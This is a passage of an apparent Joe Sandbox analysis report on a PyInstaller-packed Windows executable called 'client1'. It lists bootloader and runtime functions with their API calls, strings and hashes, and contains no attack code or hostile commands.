Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: f94b85ae83cde5ff99a73dacb969786b4b90177c333bd4c8ae2eb3a11c31c338
Instruction ID: b73e192bfc0180aee66994aca1c09f11a953c254c91d60ba9fbfde6821ca2ccd
Opcode Fuzzy Hash: f94b85ae83cde5ff99a73dacb969786b4b90177c333bd4c8ae2eb3a11c31c338
Instruction Fuzzy Hash: A1517811F197C340FA74BB7299552FAD25B9F4ABC4FC44031E82E87796EE6EE4018721

Function 00007FF79F64509C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF79F6450CA

Part of subcall function 00007FF79F644818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F64482C

_get_daylight.LIBCMT ref: 00007FF79F6450DB

Part of subcall function 00007FF79F6447B8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6447CC

_get_daylight.LIBCMT ref: 00007FF79F6450EC

Part of subcall function 00007FF79F6447E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6447FC

Part of subcall function 00007FF79F639E18: RtlFreeHeap.NTDLL(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E2E
Part of subcall function 00007FF79F639E18: GetLastError.KERNEL32(?,?,?,00007FF79F641E42,?,?,?,00007FF79F641E7F,?,?,00000000,00007FF79F642345,?,?,?,00007FF79F642277), ref: 00007FF79F639E38

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF79F64532C), ref: 00007FF79F645113

Strings

Eastern Standard Time, xrefs: 00007FF79F6451B9
Eastern Summer Time, xrefs: 00007FF79F6451D1

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: 74e2aae664cff904285b8cceaf5bd78e264b53cf78d1017760ee0a7f729cca6e
Instruction ID: a796102b552945bb7b714767cf37b22a4ce92422f55e44ceb41ad888243889cb
Opcode Fuzzy Hash: 74e2aae664cff904285b8cceaf5bd78e264b53cf78d1017760ee0a7f729cca6e
Instruction Fuzzy Hash: A5515E32A187C286E730FF35E9815E9E76ABB49784FC44136EA6D43695DF3CE4018B60

Function 00007FF79F6217B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fread_nolock.LIBCMT ref: 00007FF79F62185C
_fread_nolock.LIBCMT ref: 00007FF79F62190E

Part of subcall function 00007FF79F62F370: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F384

Part of subcall function 00007FF79F622770: MessageBoxW.USER32 ref: 00007FF79F622841

Strings

Cannot read Table of Contents., xrefs: 00007FF79F621995
fread, xrefs: 00007FF79F62186E
MEI, xrefs: 00007FF79F6217EF
fseek, xrefs: 00007FF79F621836
Failed to read cookie!, xrefs: 00007FF79F621867
Failed to seek to cookie position!, xrefs: 00007FF79F62182F
Could not read full TOC!, xrefs: 00007FF79F621919
Error on file., xrefs: 00007FF79F62193D
malloc, xrefs: 00007FF79F6218EA
Could not allocate buffer for TOC!, xrefs: 00007FF79F6218E3

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _fread_nolock$Message_invalid_parameter_noinfo
String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 2153230061-4158440160
Opcode ID: 913ca2d16dd3917f3c6faf0798bc0d1b393c399123eb092558c7b1ba1e71a965
Instruction ID: 9aac773805030bf4195233d69171114b75a8bd81207c8e60e0cba850760d5a67
Opcode Fuzzy Hash: 913ca2d16dd3917f3c6faf0798bc0d1b393c399123eb092558c7b1ba1e71a965
Instruction Fuzzy Hash: DF516F72A1978286EF24EF38D8901F8A3AAEB48B58B914135D92CC7395DF3CE540C751

Function 00007FF79F621440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

fread, xrefs: 00007FF79F6215EC
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF79F6214F9
fseek, xrefs: 00007FF79F621500
Failed to extract %s: failed to open target file!, xrefs: 00007FF79F62148A
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF79F621559
fopen, xrefs: 00007FF79F621491
malloc, xrefs: 00007FF79F621560
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF79F6215D5
Failed to extract %s: failed to open archive file!, xrefs: 00007FF79F6214CA
fwrite, xrefs: 00007FF79F6215DC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF79F6215E5

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 0-666925554
Opcode ID: 2fea18010eede0dcf90c79ed6fa7ce80656e63f02532b84c6099f7311018752c
Instruction ID: 0190cd064c25e385b7292367919a27a15d736b7076455ffd5e4312f0d7858d72
Opcode Fuzzy Hash: 2fea18010eede0dcf90c79ed6fa7ce80656e63f02532b84c6099f7311018752c
Instruction Fuzzy Hash: EC518C61B0C7C251FE30BB31A8506F9A39ABF45BA4F844531DE2D87796EE3CE5458321

Function 00007FF79F6278A0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,00007FF79F62685A,?,00007FF79F62674D), ref: 00007FF79F6278E0
OpenProcessToken.ADVAPI32(?,00007FF79F62674D), ref: 00007FF79F6278F1
GetTokenInformation.KERNELBASE(?,00007FF79F62674D(TokenIntegrityLevel)), ref: 00007FF79F627913
GetLastError.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF79F62791D
GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel), ref: 00007FF79F62795A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF79F62796C
CloseHandle.KERNEL32(?,00007FF79F62674D), ref: 00007FF79F627984
LocalFree.KERNEL32(?,00007FF79F62674D), ref: 00007FF79F6279B6
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF79F6279DD
CreateDirectoryW.KERNELBASE(?,00007FF79F62674D), ref: 00007FF79F6279EE

Strings

D:(A;;FA;;;%s), xrefs: 00007FF79F627999
S-1-3-4, xrefs: 00007FF79F62798F

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 4998090-2855260032
Opcode ID: 2e28230f75d657313d5b30c4cdf08458408b558478e57b477a7299d9920cfa6e
Instruction ID: 5091bb93fd22be243f411a30a0651f203524a3d1e1ac6d27fc3a0dfc45faf5d1
Opcode Fuzzy Hash: 2e28230f75d657313d5b30c4cdf08458408b558478e57b477a7299d9920cfa6e
Instruction Fuzzy Hash: 6941333161C7C282E660BF75E8446E9B366FB847A4F840231EA6E876D5DF7CD444CB11

Function 00007FF79F626FD0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 90
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79F627A30: MultiByteToWideChar.KERNEL32 ref: 00007FF79F627A6A

SetConsoleCtrlHandler.KERNEL32(00000000,00007FF79F623A30), ref: 00007FF79F62701F
GetStartupInfoW.KERNEL32 ref: 00007FF79F62703E

Part of subcall function 00007FF79F639184: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F639198

Part of subcall function 00007FF79F636EF8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF79F636F5F

GetCommandLineW.KERNEL32 ref: 00007FF79F6270DE
CreateProcessW.KERNELBASE ref: 00007FF79F627120
WaitForSingleObject.KERNEL32 ref: 00007FF79F627134
GetExitCodeProcess.KERNEL32 ref: 00007FF79F627144

Strings

Error creating child process!, xrefs: 00007FF79F627150
CreateProcessW, xrefs: 00007FF79F627157

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Process_invalid_parameter_noinfo$ByteCharCodeCommandConsoleCreateCtrlExitHandlerInfoLineMultiObjectSingleStartupWaitWide
String ID: CreateProcessW$Error creating child process!
API String ID: 2895956056-3524285272
Opcode ID: 818e29d337d92c80142cd965dc47d4137e35c853672c1fb6e5a7bce6e7f526a1
Instruction ID: d380c7af5ec119b0fcd4c139edf9bb9be3613d7e6ca27189c727d82b26037fa6
Opcode Fuzzy Hash: 818e29d337d92c80142cd965dc47d4137e35c853672c1fb6e5a7bce6e7f526a1
Instruction Fuzzy Hash: 2141F032A087C281DA20BB70E8552EAE3A9FB95364F900735E6BD47AD5DF7CD0548B50

Function 00007FF79F621000 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 273
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF79F623BA0: GetModuleFileNameW.KERNEL32(?,00007FF79F623699), ref: 00007FF79F623BD1

SetDllDirectoryW.KERNEL32 ref: 00007FF79F6238A5

Part of subcall function 00007FF79F626990: GetEnvironmentVariableW.KERNEL32(00007FF79F6236E7), ref: 00007FF79F6269CA
Part of subcall function 00007FF79F626990: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF79F6269E7

Strings

MEI, xrefs: 00007FF79F6237E7
_MEIPASS2, xrefs: 00007FF79F6236D3, 00007FF79F62373C, 00007FF79F6239EB, 00007FF79F6239FB
_PYI_ONEDIR_MODE, xrefs: 00007FF79F6236FC, 00007FF79F623727
Cannot open PyInstaller archive from executable (%s) or external archive (%s), xrefs: 00007FF79F62378E
Failed to convert DLL search path!, xrefs: 00007FF79F62388D
Cannot side-load external archive %s (code %d)!, xrefs: 00007FF79F62382C

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Environment$DirectoryExpandFileModuleNameStringsVariable
String ID: Cannot open PyInstaller archive from executable (%s) or external archive (%s)$Cannot side-load external archive %s (code %d)!$Failed to convert DLL search path!$MEI$_MEIPASS2$_PYI_ONEDIR_MODE
API String ID: 2344891160-3602715111
Opcode ID: 77e9097737c6dbac510413c8d6195b52a6989022757785ea82a29cea3795633a
Instruction ID: 9378a5468035c64dedb7c7cf3ca2fb4a3c8269c726e826f7cfe078daac12dbd0
Opcode Fuzzy Hash: 77e9097737c6dbac510413c8d6195b52a6989022757785ea82a29cea3795633a
Instruction Fuzzy Hash: 57B1B121A1D7C351FE30BB319D522FDA25ABF44794FC04139EA6D87696EF2CE5048722

Function 00007FF79F621050 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 156
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF79F6210B4
1.2.13, xrefs: 00007FF79F62107E
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF79F62111F
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF79F6210F1
malloc, xrefs: 00007FF79F6210F8, 00007FF79F621126
Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF79F621249

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: Message
String ID: 1.2.13$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-1655038675
Opcode ID: de1008961ff69e091347802e1359ecf358b4a9365226622b4b91588027350825
Instruction ID: 2b31e093f5533dd89edb20ea74b162bd156f727efe36cfc882a4b9eebf5bb82e
Opcode Fuzzy Hash: de1008961ff69e091347802e1359ecf358b4a9365226622b4b91588027350825
Instruction Fuzzy Hash: DA51A022A0D7C285EA30BB61A8403FAA29AFB85794F844135EE6D87785EF3CE545C711

Function 00007FF79F63AF2C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F63B359

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 184652ea66a00c646f0d6e367f8fa0d47b8fb75159f9cd0cc9461bb9675fa9ff
Instruction ID: c801ba19517fe8c095bfee1e2afcf681606a9116e899a8ae86aa424cf4ace6f0
Opcode Fuzzy Hash: 184652ea66a00c646f0d6e367f8fa0d47b8fb75159f9cd0cc9461bb9675fa9ff
Instruction Fuzzy Hash: 45C1C52290C7C691EA70BB35A4402FDE7AAEFC1B84F950135E96D03796CEBDE8458720

Function 00007FF79F63C430 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF79F63C41B), ref: 00007FF79F63C54C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,?,00000000,00000000,00007FF79F63C41B), ref: 00007FF79F63C5D7

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: f410d9e07cb2d854853af875ff306a0e9c9ee922f70c4cde11a48ef332fbc2ec
Instruction ID: 5604af1f55dfa74d243b04c6b709e5414ebe5a52dd48abac83f59e56c415e26f
Opcode Fuzzy Hash: f410d9e07cb2d854853af875ff306a0e9c9ee922f70c4cde11a48ef332fbc2ec
Instruction Fuzzy Hash: DD91F422E087A285F771AF3594402FDABFABB45B88F945139EE1E53A85CF78D441C720

Function 00007FF79F63E8DC Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF79F63E9CC
_get_daylight.LIBCMT ref: 00007FF79F63E9DD
_get_daylight.LIBCMT ref: 00007FF79F63E9EE
_isindst.LIBCMT ref: 00007FF79F63EAB9

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: d5d13d1c94d14ccfec0c44e7243bbda22246c77cf8c41a11f0b86d98f8b3a05c
Instruction ID: 3e9ed73f2e8261dce19645282c8f43f150ae992c41bc12e35cf438408835576f
Opcode Fuzzy Hash: d5d13d1c94d14ccfec0c44e7243bbda22246c77cf8c41a11f0b86d98f8b3a05c
Instruction Fuzzy Hash: 84512972F047918AFB34EF7498412FCA7AABB10358F944235ED2E52AD5DB3CA406C720

Function 00007FF79F6347D4 Relevance: 6.1, APIs: 4, Instructions: 119
pipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNELBASE ref: 00007FF79F634807
GetFileInformationByHandle.KERNELBASE ref: 00007FF79F634869
GetLastError.KERNEL32 ref: 00007FF79F6348FA
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF79F63470C), ref: 00007FF79F634946

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 1c70a69b05d9cb3f6248f84cd75ebf1bef0caf7e7cf88daad42b4853df974b62
Instruction ID: da029fc5d351682b408e8feb9d914ebf8abeb788ae687c28d879cfc1d896197f
Opcode Fuzzy Hash: 1c70a69b05d9cb3f6248f84cd75ebf1bef0caf7e7cf88daad42b4853df974b62
Instruction Fuzzy Hash: 83516D23E087818AFB20EF71D4503FDB7AAAB48B98FA44135DE2D57699DF78D4418720

Function 00007FF79F62B19C Relevance: 6.1, APIs: 4, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF79F62B1AB

Part of subcall function 00007FF79F62B36C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF79F62B38E

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF79F62B1C0
__scrt_release_startup_lock.LIBCMT ref: 00007FF79F62B22E
__scrt_get_show_window_mode.LIBCMT ref: 00007FF79F62B281

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 90a7fcc3a81af5bf04ad81541e301d7d9fb9f11ea0fdd18d74326f9016f6428e
Instruction ID: 7bfa76644cef631d3ae45f44de4443e65a40bd1892020e5672e118848bef1773
Opcode Fuzzy Hash: 90a7fcc3a81af5bf04ad81541e301d7d9fb9f11ea0fdd18d74326f9016f6428e
Instruction Fuzzy Hash: 73311321E097C345FA74BB7499513FDA29BEF91384FC44034E92E8B2D7DE6CA8058272

Function 00007FF79F634680 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F6346AD
CreateFileW.KERNELBASE ref: 00007FF79F6346EC
CloseHandle.KERNEL32 ref: 00007FF79F634721

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: aa6a3d9890cc6a7f195a6e990ba186583f2f0d5ddde8471eaaef5ef51b0941e7
Instruction ID: 3c025c4dba6c9d4953071937d259e383a1883ee57a742f34534be38f6efcc3b2
Opcode Fuzzy Hash: aa6a3d9890cc6a7f195a6e990ba186583f2f0d5ddde8471eaaef5ef51b0941e7
Instruction Fuzzy Hash: 24419523D187C183FB64AF3195503B9E265FB957A4F609334E66C03AD6DFACA5E08710

Function 00007FF79F62F39C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F3E0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF79F62F4D7

Memory Dump Source

Source File: 00000000.00000002.2690165915.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000000.00000002.2690142612.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690205145.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690243481.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2690289045.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff79f620000_client1.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: bd665411d6c8cb657e02e9163d495b47fe1eb31481a6a537198dee777c004d3e
